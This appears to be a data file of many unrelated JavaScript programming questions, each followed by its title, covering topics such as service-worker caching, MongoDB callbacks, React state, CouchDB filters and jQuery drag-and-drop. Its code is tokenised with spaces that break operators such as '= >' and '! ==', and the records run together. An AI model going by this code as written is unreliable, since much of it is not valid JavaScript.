'undefined'EDITThe issue was originally in my API as Barmar pointed out . I was calling JsonConvert.SerializeObject and returning a string rather than returning just the object.Calling JSON.parse ( x ) twice worked perfectly as did fixing my API and only having to call it once.Thank you all for answering so quickly ! It seems everyone picked up on my problem right away . `` { \ '' Id\ '' :220 , \ '' Title\ '' : \ '' Drawtober 19\ '' , \ '' YearCreated\ '' :0 , \ '' DatePublished\ '' : \ '' 2018-12-14T03:27:05.51\ '' } '' var xhttp = new XMLHttpRequest ( ) ; xhttp.onreadystatechange = function ( ) { if ( this.readyState == 4 & & this.status == 200 ) { let x = this.responseText ; let firstTest = JSON.parse ( x [ 0 ] ) ; let secondTest = JSON.parse ( x.Title ) ; } } ; xhttp.open ( `` GET '' , `` http : //www.faithfulimagination.com/api/artwork/220 '' , true ) ; xhttp.send ( ) ; }",Can not parse JSON object containing escape characters "JS : I am using Cache-first strategy in my progressive web app that i want to support offline browsing . I have noted that offline browsing is working fine but when i update content on the website , it still showing the old stuff.I am not sure what is wrong with my code because i want it to check if there is an update before loading the offline content . I have manifest.json , Service-worker.js , Offlinepage.js and main.js . Here is my service-worker.js code that i have used : //service worker configuration 'use strict ' ; const version = ' 1.0.0 ' , CACHE = version + ' : :PWA ' , offlineURL = '/offline/ ' , installFilesEssential = [ '/ ' , '/manifest.json ' , '/theme/pizza/css/style.css ' , '/theme/pizza/css/font-awesome/font-awesome.css ' , '/theme/pizza/javascript/script.js ' , '/theme/pizza/javascript/offlinepage.js ' , '/theme/pizza/logo.png ' , '/theme/pizza/icon.png ' ] .concat ( offlineURL ) , installFilesDesirable = [ '/favicon.ico ' , '/theme/pizza/logo.png ' , '/theme/pizza/icon.png ' ] ; // install static assets function installStaticFiles ( ) { return caches.open ( CACHE ) .then ( cache = > { // cache desirable files cache.addAll ( installFilesDesirable ) ; // cache essential files return cache.addAll ( installFilesEssential ) ; } ) ; } // clear old caches function clearOldCaches ( ) { return caches.keys ( ) .then ( keylist = > { return Promise.all ( keylist .filter ( key = > key ! == CACHE ) .map ( key = > caches.delete ( key ) ) ) ; } ) ; } // application installation self.addEventListener ( 'install ' , event = > { console.log ( 'service worker : install ' ) ; // cache core files event.waitUntil ( installStaticFiles ( ) .then ( ( ) = > self.skipWaiting ( ) ) ) ; } ) ; // application activated self.addEventListener ( 'activate ' , event = > { console.log ( 'service worker : activate ' ) ; // delete old caches event.waitUntil ( clearOldCaches ( ) .then ( ( ) = > self.clients.claim ( ) ) ) ; } ) ; // is image URL ? let iExt = [ 'png ' , 'jpg ' , 'jpeg ' , 'gif ' , 'webp ' , 'bmp ' ] .map ( f = > ' . ' + f ) ; function isImage ( url ) { return iExt.reduce ( ( ret , ext ) = > ret || url.endsWith ( ext ) , false ) ; } // return offline asset function offlineAsset ( url ) { if ( isImage ( url ) ) { // return image return new Response ( ' < svg role= '' img '' viewBox= '' 0 0 400 300 '' xmlns= '' http : //www.w3.org/2000/svg '' > < title > offline < /title > < path d= '' M0 0h400v300H0z '' fill= '' # eee '' / > < text x= '' 200 '' y= '' 150 '' text-anchor= '' middle '' dominant-baseline= '' middle '' font-family= '' sans-serif '' font-size= '' 50 '' fill= '' # ccc '' > offline < /text > < /svg > ' , { headers : { 'Content-Type ' : 'image/svg+xml ' , 'Cache-Control ' : 'no-store ' } } ) ; } else { // return page return caches.match ( offlineURL ) ; } } // application fetch network data self.addEventListener ( 'fetch ' , event = > { // abandon non-GET requests if ( event.request.method ! == 'GET ' ) return ; let url = event.request.url ; event.respondWith ( caches.open ( CACHE ) .then ( cache = > { return cache.match ( event.request ) .then ( response = > { if ( response ) { // return cached file console.log ( 'cache fetch : ' + url ) ; return response ; } // make network request return fetch ( event.request ) .then ( newreq = > { console.log ( 'network fetch : ' + url ) ; if ( newreq.ok ) cache.put ( event.request , newreq.clone ( ) ) ; return newreq ; } ) // app is offline .catch ( ( ) = > offlineAsset ( url ) ) ; } ) ; } ) ) ; } ) ;",Website not updating when content changes in Cache-First strategy "JS : IntroductionAll people know that if we call undefined.test we will receive the following error ( same for both : NodeJS and Javascript ) : That 's correct ! How did I find the problem ? Passed week I wasted about 30 minutes in debugging the following problem : A script was stopping accidentally and no error was thrown.I had the urls variable that was supposed to be an object : Then in next lines I needed to get shop key of urls that was a string : I started adding console.log to find the values of variables : The problem in my script was that I was redefining a new urls variable that was making the urls undefined , but the question is : why can not read property `` shop '' of undefined did n't appear here ? Because urls was really undefined.We know that the following is happening in both : NodeJS and Javascript : The questionAfter debugging the problem I found that this problem comes from Mongo : inside of Mongo callbacks if we call undefined.something we DO N'T get the error.I 've created a small script that demonstrates this : My questions are : Why the error does n't appear ? Which is the reason ? ( It would be great to debug together the MongoDB source code to find it . ) Why the process is stopped when calling undefined.something ? How can be this solved ? I 've created a Github repository where you can download my small application that demonstrates the issue.Interesting : If we add a try { } catch ( e ) { } statement we find the error and the process continue showing the STOP message.LOGS : $ node > undefined.testTypeError : Can not read property 'test ' of undefined at repl:1:11 at REPLServer.self.eval ( repl.js:110:21 ) at Interface. < anonymous > ( repl.js:239:12 ) at Interface.EventEmitter.emit ( events.js:95:17 ) at Interface._onLine ( readline.js:202:10 ) at Interface._line ( readline.js:531:8 ) at Interface._ttyWrite ( readline.js:760:14 ) at ReadStream.onkeypress ( readline.js:99:10 ) at ReadStream.EventEmitter.emit ( events.js:98:17 ) at emitKey ( readline.js:1095:12 ) var urls = settings.urls || { } ; var shop = urls.shop || `` / '' ; console.log ( urls ) ; // undefinedvar shop = urls.shop || `` / '' ; console.log ( `` Passed '' ) ; // This is n't run . var a = 10 ; foo ( function ( ) { console.log ( a ) ; // undefined var a = 10 ; } ) ; function foo ( callback ) { callback ( ) ; } var mongo = require ( `` mongodb '' ) ; // Mongo servervar server = mongo.Server ( `` 127.0.0.1 '' , 27017 ) ; var db = new mongo.Db ( `` test '' , server , { safe : true } ) ; console.log ( `` > START '' ) ; // Open databaseconsole.log ( `` Opening database . `` ) ; db.open ( function ( err , db ) { if ( err ) { return console.log ( `` Can not open database . `` ) ; } // get collection console.log ( `` No error . Opening collection . `` ) ; db.collection ( `` col_one '' , function ( err , collection ) { if ( err ) { return console.log ( err ) } // do something with the collection console.log ( `` No error . Finding all items from collection . `` ) ; collection.find ( ) .toArray ( function ( err , items ) { if ( err ) { return console.log ( err ) } console.log ( `` No error . Items : `` , items ) ; console.log ( `` The following line is : undefined.shop . '' + `` It will stop the process . `` ) ; console.log ( undefined.test ) ; // THE ERROR DOES NOT APPEAR ! console.log ( `` > STOP '' ) ; // this message does n't appear . } ) ; } ) ; } ) ; try { console.log ( undefined.test ) ; } catch ( e ) { console.log ( e ) ; } > STARTOpening database.No error . Opening collection.No error . Finding all items from collection.No error . Items : [ ] The following line is : undefined.shop . It will stop the process . [ TypeError : Can not read property 'test ' of undefined ] > STOP",Reference error is not thrown from MongoDB callback "JS : Using Google Apps Script ( http : //script.google.com ) , I know from the docs , how to send , forward , move to trash messages , etc . but I do n't find how to remove a file attachement of an email , i.e . : keep the text content ( either in HTML or just plain text would be fine ) keep the original sender , keep the recipientkeep the original message date/hour ( important ! ) remove the attachmentIf it 's not possible via the API , is there a way to resend the message to myself , while keeping 1 , 2 and 3 ? Note : the GmailAttachment class looks interesting and allows to list recipients : but I do n't find how to remove an attachment.Note : I 've already studied many other solutions for doing this , I 've already read nearly every article about this ( solutions with dedicated web services , with local clients like Thunderbird + Attachment extractor plugin , etc . ) , but none of them are really really cool . That 's why I was looking for a solution to do it manually via Google Apps Script . var threads = GmailApp.getInboxThreads ( 0 , 10 ) ; var msgs = GmailApp.getMessagesForThreads ( threads ) ; for ( var i = 0 ; i < msgs.length ; i++ ) { for ( var j = 0 ; j < msgs [ i ] .length ; j++ ) { var attachments = msgs [ i ] [ j ] .getAttachments ( ) ; for ( var k = 0 ; k < attachments.length ; k++ ) { Logger.log ( 'Message `` % s '' contains the attachment `` % s '' ( % s bytes ) ' , msgs [ i ] [ j ] .getSubject ( ) , attachments [ k ] .getName ( ) , attachments [ k ] .getSize ( ) ) ; } } }",Remove an attachment of a Gmail email with Google Apps Script "JS : Say we have a loop.js file : Which if ran ( node loop.js ) outputs : How can this code be rewritten to read and process file while the loop is running in the background ? My solutionWhat I came up with is this : Which indeed logs : Is there a simpler , more concise way to do that ? What are the drawbacks of my solution ? longLoop ( ) .then ( res = > console.log ( 'loop result processing started ' ) ) console.log ( 'read file started ' ) require ( 'fs ' ) .readFile ( __filename , ( ) = > console.log ( 'file processing started ' ) ) setTimeout ( ( ) = > console.log ( 'timer fires ' ) , 500 ) async function longLoop ( ) { console.log ( 'loop started ' ) let res = 0 for ( let i = 0 ; i < 1e7 ; i++ ) { res += Math.sin ( i ) // arbitrary computation heavy operation if ( i % 1e5 === 0 ) await null /* solution : await new Promise ( resolve = > setImmediate ( resolve ) ) */ } console.log ( 'loop finished ' ) return res } loop startedread file startedloop finishedloop result processing startedtimer firesfile processing started longLoop ( ) .then ( res = > console.log ( 'loop result processing started ' ) ) console.log ( 'read file started ' ) require ( 'fs ' ) .readFile ( __filename , ( ) = > console.log ( 'file processing started ' ) ) setTimeout ( ( ) = > console.log ( 'timer fires ' ) , 500 ) async function longLoop ( ) { let res = 0 let from = 0 let step = 1e5 let numIterations = 1e7 function doIterations ( ) { //console.log ( from ) return new Promise ( resolve = > { setImmediate ( ( ) = > { // or setTimeout for ( let i = from ; ( i < from + step ) & & ( i < numIterations ) ; i++ ) { res += Math.sin ( i ) } resolve ( ) } ) } ) } console.log ( 'loop started ' ) while ( from < numIterations ) { await doIterations ( ) from += step } console.log ( 'loop finished ' ) return res } loop startedread file startedfile processing startedtimer firesloop finishedloop result processing started",Javascript background loop "JS : I 'm converting some Javascript code into Typescript.This is a cool Javascript function which uses d3 and wraps an svg text block perfectly . Normally I would just change the word `` function '' to `` private '' and the function will work as is in Typescript , but this one complains only about the getComputedTextLength ( ) function . Would be great if someone can explain how I can make this function work in Typescript for myself and others , including why I 'm getting the error . Visual Studio provides no help . Thanks . function wrap ( text , width ) { text.each ( function ( ) { var text = d3.select ( this ) , words = text.text ( ) .split ( /\s+/ ) .reverse ( ) , word , line = [ ] , lineNumber = 0 , lineHeight = 1.1 , // ems y = text.attr ( `` y '' ) , x = text.attr ( `` x '' ) , dy = parseFloat ( text.attr ( `` dy '' ) ) , tspan = text.text ( null ) .append ( `` tspan '' ) .attr ( `` x '' , x ) .attr ( `` y '' , y ) .attr ( `` dy '' , dy + `` em '' ) ; while ( word = words.pop ( ) ) { line.push ( word ) ; tspan.text ( line.join ( `` `` ) ) ; if ( tspan.node ( ) .getComputedTextLength ( ) > width ) { line.pop ( ) ; tspan.text ( line.join ( `` `` ) ) ; line = [ word ] ; tspan = text.append ( `` tspan '' ) .attr ( `` x '' , x ) .attr ( `` y '' , y ) .attr ( `` dy '' , ++lineNumber * lineHeight + dy + `` em '' ) .text ( word ) ; } } } ) ; }",Converting Javascript function to Typescript including getComputedTextLength ( ) "JS : I have an array that contains multiple objects . These objects also contain arrays of objects like this : I would like to push both interests arrays into a new array like so : This pushes the data to the new array , but the data is n't nested anymore this way : How can I push the interests data to new array while keeping its nested structure ? const data = [ { id : 1 , name : `` Jack '' , interests : [ { id : 9 , name : `` basketball '' } , { id : 8 , name : `` art '' } ] } , { id : 2 , name : `` Jenny '' , interests : [ { id : 7 , name : `` reading '' } , { id : 6 , name : `` running '' } ] } ] ; newArray = [ [ { id : 9 , name : `` basketball '' } , { id : 8 , name : `` art '' } ] , [ { id : 7 , name : `` reading '' } , { id : 6 , name : `` running '' } ] ] ; data.map ( v = > { v.interests.map ( x = > { newArray.push ( { name : x.name , id : x.id } ) } ) } )","How to push data from a nested array , inside an array of objects , to a new array ? while maintaining its nested structure" "JS : I accidentally found this code on the web and it has solved most of my problem , however there is one thing that i want to add to this code but i do n't know how my question is , how can i exit the textbox after a user has double clicked it or after the user has finished editing it ? < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' en '' lang= '' en '' > < head > < title > < /title > < script type= '' text/javascript '' > /* < ! [ CDATA [ */ function INPUT ( id ) { var obj=document.getElementById ( id ) , tds=obj.getElementsByTagName ( 'TD ' ) , z0=0 , ip , html ; for ( ; z0 < tds.length ; z0++ ) { tds [ z0 ] .onmouseup=function ( ) { AddInput ( this ) ; } } } function AddInput ( td ) { var ip=zxcAddField ( 'INPUT ' , 'text ' , '' ) ; ip.value=td.innerHTML ; td.innerHTML= '' ; td.appendChild ( ip ) ; td.onmouseup=null ; } function zxcAddField ( nn , type , nme ) { var obj ; try { obj=document.createElement ( ' < '+nn+ ' name= '' '+ ( nme|| '' ) + ' '' '+ ( type ? 'type= '' '+type+ ' '' ' : '' ) + ' > ' ) ; } catch ( error ) { obj=document.createElement ( nn ) ; if ( type ) { obj.type=type ; } obj.name=nme|| '' ; } return obj ; } /* ] ] > */ < /script > < script type= '' text/javascript '' > /* < ! [ CDATA [ */ function Init ( ) { INPUT ( 'tst ' ) ; } if ( window.addEventListener ) { window.addEventListener ( 'load ' , Init , false ) ; } else if ( window.attachEvent ) { window.attachEvent ( 'onload ' , Init ) ; } /* ] ] > */ < /script > < /head > < body > < table id= '' tst '' border= '' 1 '' > < tr width= '' 200 '' > < td > some html < /td > < /tr > < /table > < /body > < /html >",how to exit text box after clicking outside the cell "JS : This is probably basic to most reading , but I ca n't seem to figure it out . I have a little test function that I want to execute if under a certain width . When the screen rotates or gets resized above that width , I want the function to cease to work . Here is some example code for simplicity sake.So if the page loads above 500px , it works as intended . Clicking wo n't execute . If the page loads at 500px or below , the click function executes . Only problem is that if you resize the viewport or change orientation to something above 500px , the function still executes . I 'd like to be able to disable that . The real world scenario I 'm actually trying to do here is I have an un-ordered list of 4 items . Above a certain width they are displayed right away . If under a certain width , I just want to hide them and on click show them . I know there are a few ways to do it ( .toggle ( ) , .toggleClass ( `` myclass '' ) , etc ) .I have done this a bunch of times but I always get caught with the entering / exiting break points and things not being reset , or working as intended . Usually it does n't matter , but lately in some of my use cases it has mattered.I know of the unmatch option but I 'm not sure how to really kill the matched function above.Any help would be appreciated . I am pretty sure it will help my current situation but will also help me expand my knowledge of enquire.js for other things.Thanks.edit : I forgot to mention ... if you load the page under 500px , then resize or orientate wider then 500px , then go BACK under 500px , the click function wo n't work again.. which confuses me also . I basically was hoping it would work no matter what when under 500px , and not work at all when over 500px . enquire.register ( `` screen and ( max-width:500px ) '' , { match : function ( ) { $ ( `` .block .block-title '' ) .click ( function ( ) { alert ( `` Hello World ! `` ) ; } ) ; } } ) .listen ( ) ; enquire.register ( `` screen and ( max-width:500px ) '' , { match : function ( ) { $ ( `` .block .block-title '' ) .click ( function ( ) { alert ( `` Hello World ! `` ) ; } ) ; } , { unmatch : function ( ) { // what do I do here do kill above ? } } } ) .listen ( ) ;",Destroying a function when exiting a matched breakpoint with enquire.js "JS : Ok so what I thought would take me few minutes to implement has now taken up over an hour of my time and I 'm just completely puzzled.I downloaded lightbox2 , followed the instructions ; embedding their CSS and JS in the head of my index.html I am only testing it on localhost if that makes any difference . The paths are set correctly 100 % and so are the paths to the 4 images the CSS requires..Now in my body I am using the a href with the data-lightbox attribute like thisThere is nothing else on the page so the result looks like this : The issue is that when I click one of the images , instead of the lightbox popping up the image just opens in a fullscreen tab . It 's like the lightbox is not working at all , and it just follows the a href to the image.. I even tried JSFiddle and loaded the same CSS and JS as external resources and it 's doing the exact same thing . See for yourselves - > JSFIDDLEI am open to any ideas.. Really do n't understand what am I missing . < link href= '' lightbox/lightbox.css '' rel= '' stylesheet '' > < script src= '' lightbox/lightbox-plus-jquery.js '' > < /script > < a class= '' example-image-link '' href= '' gallery/i1.jpg '' data-lightbox= '' group '' data-title= '' Optional caption . `` > < img class= '' example-image '' src= '' gallery/i1.jpg '' alt= '' desc '' > < /a > < a class= '' example-image-link '' href= '' gallery/i2.jpg '' data-lightbox= '' group '' data-title= '' Optional caption . `` > < img class= '' example-image '' src= '' gallery/i2.jpg '' alt= '' desc '' > < /a >",Lightbox2 not initiating "JS : Consider the below exampleWhen I click the button I see both this.counter and this.state.counter are showing the incremented valueMy question is why I have to use state ? though react is capable of re-rendering all the instance propertiesIn above snippet , just calling this.setState ( { } ) is doing the trick , then why should I use this.state property for storing my component state ? class MyApp extends Component { counter = 0 ; state = { counter : 0 } ; incrementCounter ( ) { this.counter = this.counter + 1 ; this.setState ( { counter : this.state.counter + 1 } ) ; } render ( ) { return < div > < p > { this.counter } and { this.state.counter } < /p > < button onClick= { this.incrementCounter } > Increment < /button > < /div > } } counter = 0 ; incrementCounter ( ) { this.counter = this.counter + 1 ; this.setState ( { } ) ; }",What is the difference between React component instance property and state property ? "JS : I have a database ( couchDB ) with about 90k documents in it . The documents are very simple like this : now I want one day to sync this database with a mobile device . Obviously 90k docs should n't go to the phone all at once . This is why I wrote filter functions . These are supposed to filter by `` productName '' . At first in Javascript later in Erlang to gain performance . These Filter functions look like this in JavaScript : and like this in Erlang : To keep it simple there is no query yet but a `` hardcoded '' string . The filter all work . The problem is they are way to slow . I wrote a testprogram first in Java later in Perl to test the time it takes to filter the documents . Here one of my Perl scripts : And now the sad part . These are the times I get : btw these are Minutes : Seconds . The number is the number of elements returned by the filter and the database had 90k Elements in it . The big surprise was that the Erlang filter was not faster at all . To request all elements only takes 9 seconds . And creating views about 15 . But it is not possible for my use on a phone to transfer all documents ( volume and security reasons ) . Is there a way to filter on a view to get a performance increase ? Or is something wrong with my erlang filter functions ( I 'm not surprised by the times for the JavaScript filters ) .EDIT : As pointed out by pgras the reason why this is slow is posted in the answer to this Question . To have the erlang filters run faster I need to go a `` layer '' below and program the erlang directly into the database and not as a _design document . But I dont ' r really know where to start and how to do this . Any tips would be helpful . { `` _id '' : `` 1894496e-1c9e-4b40-9ba6-65ffeaca2ccf '' , `` _rev '' : `` 1-2d978d19-3651-4af9-a8d5-b70759655e6a '' , `` productName '' : `` Cola '' } { `` _id '' : `` _design/local_filters '' , `` _rev '' : `` 11-57abe842a82c9835d63597be2b05117d '' , `` filters '' : { `` by_fanta '' : `` function ( doc , req ) { if ( doc.productName == 'Fanta ' ) { return doc ; } } '' , `` by_wasser '' : `` function ( doc , req ) { if ( doc.productName == 'Wasser ' ) { return doc ; } } '' , `` by_sprite '' : `` function ( doc , req ) { if ( doc.productName == 'Sprite ' ) { return doc ; } } '' } } { `` _id '' : `` _design/erlang_filter '' , `` _rev '' : `` 74-f537ec4b6508cee1995baacfddffa6d4 '' , `` language '' : `` erlang '' , `` filters '' : { `` by_fanta '' : `` fun ( { Doc } , { Req } ) - > case proplists : get_value ( < < \ '' productName\ '' > > , Doc ) of < < \ '' Fanta\ '' > > - > true ; _ - > false end end . `` , `` by_wasser '' : `` fun ( { Doc } , { Req } ) - > case proplists : get_value ( < < \ '' productName\ '' > > , Doc ) of < < \ '' Wasser\ '' > > - > true ; _ - > false end end . `` , `` by_sprite '' : `` fun ( { Doc } , { Req } ) - > case proplists : get_value ( < < \ '' productName\ '' > > , Doc ) of < < \ '' Sprite\ '' > > - > true ; _ - > false end end . '' } } $ dt = DBIx : :Class : :TimeStamp- > get_timestamp ( ) ; $ content = get ( `` http : //127.0.0.1:5984/mobile_product_test/_changes ? filter=local_filters/by_sprite '' ) ; $ dy = DBIx : :Class : :TimeStamp- > get_timestamp ( ) - $ dt ; $ dm = $ dy- > minutes ( ) ; $ dz = $ dy- > seconds ( ) ; @ contArr = split ( `` \n '' , $ content ) ; $ arraysz = @ contArr ; $ arraysz = $ arraysz - 3 ; $ \= '' \n '' ; print ( $ dm. ' : '. $ dz . ' with '. $ arraysz . ' Elements ( JavaScript ) ' ) ; 2:35 with 2 Elements ( Erlang ) 2:40 with 10000 Elements ( Erlang ) 2:38 with 30000 Elements ( Erlang ) 2:31 with 2 Elements ( JavaScript ) 2:40 with 10000 Elements ( JavaScript ) 2:51 with 30000 Elements ( JavaScript )",very slow filters with couchDB even with erlang "JS : I want to replace the whitespace of keys in a nested object . I have an object as follows : What i did is : I get this : What i want is : What am i doing wrong here ? ? var data = { 'General Information ' : { 'Referral No ' : '123123 ' , Marketer : `` , Casemanager : 'Alexis Clark ' , 'CM Username ' : `` , VOC : `` , 'Foreign Voluntary ' : `` , } , 'Account Name ' : 'CTS Health ' , } for ( var k in data ) { if ( k.replace ( /\s/g , `` ) ! == k ) { data [ k.replace ( /\s/g , `` ) ] = data [ k ] ; if ( data [ k ] ! == null & & typeof data [ k ] === 'object ' ) { for ( var x in data [ k ] ) { if ( x.replace ( /\s/g , `` ) ! == x ) { data [ k ] [ x.replace ( /\s/g , `` ) ] = data [ k ] [ x ] ; delete data [ k ] [ x ] ; } } } delete data [ k ] ; } } { GeneralInformation : { 'Referral No ' : '123123 ' , Marketer : `` , Casemanager : 'Alexis Clark ' , 'CM Username ' : `` , VOC : `` , 'Foreign Voluntary ' : `` , } , AccountName : 'CTS Health ' , } { GeneralInformation : { ReferralNo : '123123 ' , Marketer : `` , Casemanager : 'Alexis Clark ' , CMUsername : `` , VOC : `` , ForeignVoluntary : `` , } , AccountName : 'CTS Health ' , }",remove the space in keys in a nested object using javascript "JS : For some reason I ca n't use String.prototype.trim.call as a callback for array methods , such as map or filter.In this case , two functions work the same : However , when I try to pass them as a callback for an array method , second one fails : Demo : http : //jsbin.com/ubUHiHon/1/edit ? js , consoleI assume in a latter case that this does n't point to an array element , but I would like to get clear explanation of what 's happening . function trim ( string ) { return string.trim ( ) ; } var string = ' A ' ; trim ( string ) ; // ' A'String.prototype.trim.call ( string ) ; // ' A ' var array = [ ' A ' , ' B ' , ' C ' ] ; array.map ( trim ) ; // [ ' A ' , ' B ' , ' C ' ] ; array.map ( String.prototype.trim.call ) ; // TypeError : undefined is not a function",Ca n't use String # trim as a callback for Array # map "JS : I 'm aware of the great posts on Closures here and here , but neither seems to address the particular case I have in mind . The question is best demonstrated with code : Referencing y within bar invokes a closure , and so long as I keep z around the garbage collector wo n't clean up y . The question is -- what happens to x ? Is it held by that closure too even though it does n't get referenced ? Will the garbage collector see there 's no reference x and clean it up ? Or will x persists along with y as long as I hold onto z ? ( An ideal answer would cite the ECMA Specification . ) function foo ( ) { var x = { } ; var y = `` whatever '' ; return function bar ( ) { alert ( y ) ; } ; } var z = foo ( ) ;",JavaScript Closures Concerning Unreferenced Variables "JS : If anyone can phrase this question better than I can , please advise and I will alter ( or edit yourself ) .Here 's my current jsfiddle : https : //jsfiddle.net/5v7mzadu/My HTML : My CSS : My Javascript : As you can see the second word fades in/out , . I 'd like to add a smooth transition to the div , so that the width of the div container does NOT abruptly change width size . ( so that the width `` snap '' is more smooth ) Can anyone help ? < div class= '' text-cycler '' > WE < div class= '' c-text '' id= '' ctext-1 '' > CARE < /div > < div class= '' c-text '' id= '' ctext-2 '' > THINK < /div > < div class= '' c-text '' id= '' ctext-3 '' > SEE < /div > < div class= '' c-text '' id= '' ctext-1 '' > KNOW < /div > < /div > .text-cycler { text-align : center ; font-size:25px ; } .c-text { display : inline-block } var divs = $ ( 'div [ id^= '' ctext- '' ] ' ) .hide ( ) , i = 0 ; ( function cycle ( ) { divs.eq ( i ) .fadeIn ( 400 ) .delay ( 1000 ) .fadeOut ( 400 , cycle ) ; i = ++i % divs.length ; } ) ( ) ;",CSS : How to add smooth shift to div width upon text change ? "JS : I have the following : I am trying to set it up so that when you drag the item , it only gets dropped to the div element which you can see , and is not covered up.So I used this js : But it drops the element in both places even though only one of the drop zones is not visible ! How do I fix it so that this does not happen ? Fiddle : http : //jsfiddle.net/maniator/Wp4LU/Extra Info to recreate the page without the fiddle : HTML : CSS : ​ $ ( `` .draggable '' ) .draggable ( { helper : `` clone '' } ) $ ( `` # bottom , .draggable '' ) .droppable ( { drop : function ( event , ui ) { var $ this = $ ( this ) , $ dragged = $ ( ui.draggable ) ; $ this.append ( $ dragged.clone ( ) ) ; } , hoverClass : `` dragHover '' } ) ​ < div id= '' top '' > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < div class= '' draggable '' > Lorem ipsum dolor sit amet < /div > < /div > < div id= '' bottom '' > < /div > .draggable { border : 1px solid green ; background : white ; padding : 5px ; } .dragHover { background : blue ; } # top { height : 500px ; overflow-y : scroll ; } # bottom { height : 150px ; overflow-y : scroll ; border : red solid 4px ; }",Only drop to element that is seen "JS : For the past few years I have always used a client-side hidden < input > field to store a server-side value and use it in Javascript land . For example , let 's say I need an Ajax timeout value from my app configuration . I 'd probably store it like this in my JSP : < input type= '' hidden '' id= '' ajaxTimeout '' value= '' $ { serverValue } '' / > and then use it like this where my AJAX call lived in an external file : I was having a discussion about this today and it was suggested that it is best practice to store values which are only going to be used by Javascript within HTML < meta > tags.Does this matter ? Is there a preferred way to obtain server-side information which is solely to be used in Javascript ? My understanding is that if the hidden input field is not part of a form then it is safe enough to use to store value as it wo n't be attached to any requests . Having said that , I 've always thought this was indeed a bit of a hack.Thoughts ? : :EDIT : :Two fantastic answers : Use objects literals for general in-page data that is not tied to any particular DOM element . Use data attributes to store custom data tied to DOM elements : http : //www.w3.org/TR/2010/WD-html5-20101019/elements.html # attr-data $ ( `` # ajaxTimeout '' ) .val ( )",Javascript best practices - Using server-side values "JS : I wanted to use https : //github.com/chenglou/react-motion but when I look at the very first example : I got overwhelmed with the ES6 syntax and the JSX syntax . I tried translating it on the babel REPL but it strips out the JSX syntax : What does this translate to in pre-ES6 JSX syntax ? import { Motion , spring } from 'react-motion ' ; // In your render ... < Motion defaultStyle= { { x : 0 } } style= { { x : spring ( 10 ) } } > { value = > < div > { value.x } < /div > } < /Motion > `` use strict '' ; React.createElement ( Motion , { defaultStyle : { x : 0 } , style : { x : spring ( 10 ) } } , function ( value ) { return React.createElement ( `` div '' , null , value.x ) ; } ) ;",Overwhelming syntax on react-motion "JS : I am performing a search on my AWS CloudSearch domain from a Lambda function in node.js : I uploaded a document such as this : And I perform a search like thisThe search works and as documented here CloudSearch returns documentinfo in fields property of a hit . Here is an example : As you can see all the fields are returned as strings in an array.Is there anyway to get the results as a JSON that preserves thetype of all the fields ? { “ some_field ” : “ bla bla “ , “ some_date_field ” : 1.466719E9 , `` number_field ” : 4 , “ some_string ” : `` some long string blabla '' } var params = { query : 'bla bla ' , } ; cloudsearchdomain.search ( params , function ( err , data ) { if ( err ) { console.log ( err , err.stack ) ; // an error occurred context.fail ( err ) ; } else { context.succeed ( data ) ; // successful response } } ) ; { `` status '' : { `` timems '' : 2 , `` rid '' : “ blabla ” } , `` hits '' : { `` found '' : 1 , `` start '' : 0 , `` hit '' : [ { `` id '' : “ 452545-49B4-45C3-B94F-43524542352-454352435.6666-8532-4099-xxxx-1 '' , `` fields '' : { “ some_field ” : [ “ bla bla “ ] , “ some_date_field ” : [ `` 1.466719E9 '' ] , `` number_field ” : [ `` 4 '' ] , “ some_string ” : [ `` some long string blabla '' ] , } } ] } }",AWS CloudSearch - Getting results of a search in JSON format "JS : I have been trying to create my custom media player using HTML5 and Jquery.I have followed different approaches and ran into some trouble based on my way of refreshing the page.First CaseIn this case , the duration returns NaN when I redirect the page to the same URL by pressing the ENTER key in the address bar . However , it works completely fine when I refresh using the reload button or by pressing the F5 button.Second CaseI read in some answers that loading duration after the loadedmetadataevent might help . So I tried the following : Surprisingly , in this case , the inverse of the first case happened . The duration gets displayed completely fine in the case of a redirect , i.e. , pressing ENTER while in the address bar . However , in the case of refreshing using the F5 button or the reload button , the duration does n't get displayed at all , not even NaN which led me to believe that the code does n't get executed at all.Further reading suggested this might be a bug within the webkit browsers but I could n't find anything conclusive or helpful.What could be the cause behind this peculiar behavior ? It 'd be great if you could explain it along with the solution to this problem.Edit : I am mainly looking for an explanation behind this difference in behavior . I would like to understand the mechanism behind rendering a page in the case of redirect and refresh . $ ( document ) .ready ( function ( ) { duration = Math.ceil ( $ ( 'audio ' ) [ 0 ] .duration ) ; $ ( ' # duration ' ) .html ( duration ) ; } ) ; $ ( document ) .ready ( function ( ) { $ ( 'audio ' ) .on ( 'loadedmetadata ' , function ( ) { duration = Math.ceil ( $ ( 'audio ' ) [ 0 ] .duration ) ; $ ( ' # duration ' ) .html ( duration ) ; } ) ; } ) ;",Audio duration NaN on certain page request action JS : How can I check if any of the variables is greater than 0 from given variable in Typescript ? How can I rewrite below code so that it 's more elegant/concise ? checkIfNonZero ( ) : boolean { const a=0 ; const b=1 